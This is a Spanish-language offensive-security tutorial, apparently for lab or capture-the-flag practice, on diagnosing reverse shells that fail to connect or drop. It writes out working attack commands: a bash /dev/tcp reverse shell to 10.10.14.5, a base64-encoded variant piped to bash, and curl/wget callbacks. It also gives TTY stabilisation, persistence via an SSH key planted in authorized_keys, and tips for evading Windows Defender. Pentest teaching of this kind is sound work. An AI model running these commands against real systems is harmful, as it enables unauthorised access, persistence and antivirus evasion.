Reverse shell que no conecta o se cierra: cómo arreglarla

Por qué una reverse shell no llega, se corta al momento o muere con Ctrl+C, cómo diagnosticarlo paso a paso y cómo dejarla como una terminal completa en Linux y Windows.

· 3 min de lectura

Tienes ejecución de comandos y lanzas una reverse shell... y no pasa nada. O llega y se cierra al instante. O funciona, pulsas Ctrl+C por costumbre y la pierdes. Esta guía no es otra lista de comandos (para eso están el generador de reverse shells y la chuleta de TTY): es el método para saber por qué falla y arreglarlo.

1. Comprueba que tienes ejecución de verdad

Antes de culpar a la shell, demuestra que el comando se ejecuta con algo que tiene que llegarte:

sudo tcpdump -ni tun0 icmp           # en tu máquina
ping -c 2 10.10.14.5                 # lo que inyectas en la víctima

Si no llegan los ping, el problema está antes de la shell: la inyección no funciona, el comando se ejecuta en otro sitio o la máquina no tiene ping. Prueba con curl http://10.10.14.5/x o wget y mira el log de python3 -m http.server 80.

2. La conexión no llega

Causa Cómo saberlo Solución
IP equivocada ip a show tun0; usas la IP de la VPN, no la de tu red local Usa la de tun0
Cortafuegos de salida Llega el ping pero no TCP al 4444 Escucha en 80, 443 o 53: suelen estar permitidos
No hay bash ni nc -e which bash nc python3 perl (si ves la salida) Elige otra variante del generador
/dev/tcp no funciona El comando lo ejecuta sh (dash), no bash Envuélvelo: bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
Caracteres que rompen la inyección Espacios, &, > o comillas en una URL o JSON Codifícalo en base64 (ver abajo)

El truco del base64 evita casi todos los problemas de caracteres:

echo -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64 -w0
# en la víctima:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash

Truco

Si el base64 contiene + y lo mandas en una URL, se convertirá en espacio. Añade espacios al comando original hasta que desaparezcan, o codifica el + como %2b.

3. Llega y se cierra al momento

  • El proceso padre muere: la web mata la petición al terminar o al agotar el tiempo, y con ella tu shell. Sepárala con nohup, setsid o un & final: setsid bash -c '...' &.
  • Windows y el antivirus: la conexión llega y Defender mata el proceso. Usa un payload menos conocido o una shell por SMB/WinRM en cuanto tengas credenciales (ver evasión de EDR).
  • Staged vs stageless: un windows/x64/shell/reverse_tcp (staged, con /) necesita el handler de Metasploit; con nc usa shell_reverse_tcp (stageless, con _).

4. Hacerla estable: una TTY completa en Linux

Una shell recién llegada no tiene terminal: Ctrl+C la mata, no hay flechas ni autocompletado, y sudo o su se quejan. Los tres pasos de siempre:

script /dev/null -c bash      # o: python3 -c 'import pty; pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
# pulsa Intro y luego:
export TERM=xterm-256color; stty rows 45 columns 180

Los números de stty son los de tu terminal (stty size en otra pestaña). Si usas zsh en tu máquina, stty raw -echo; fg tiene que ir en la misma línea.

Si tienes SSH abierto, más simple aún: mete tu clave pública en ~/.ssh/authorized_keys del usuario y conéctate por SSH. Estable, con TTY y que sobrevive a reinicios del servicio.

5. Windows

En Windows no hay stty. Tres opciones, de menos a más cómoda:

  1. rlwrap nc -lvnp 443: añade historial y flechas en tu lado.
  2. ConPtyShell (Invoke-ConPtyShell): una TTY de verdad en Windows 10/Server 2019 o posteriores; se escucha con stty raw -echo; (stty size; cat) | nc -lvnp 443.
  3. Con credenciales o hash, deja la reverse shell y entra con evil-winrm o las herramientas de Impacket (ver movimiento lateral).

6. Pasar ficheros a la víctima

Con la shell estable, lo siguiente es subir herramientas (linpeas, winPEAS, chisel). La chuleta de transferencia de archivos tiene todas las variantes; si la víctima no ve tu IP directamente, monta un túnel como en port forwarding y pivoting.

¿Ves un error o echas algo en falta? Cuéntanoslo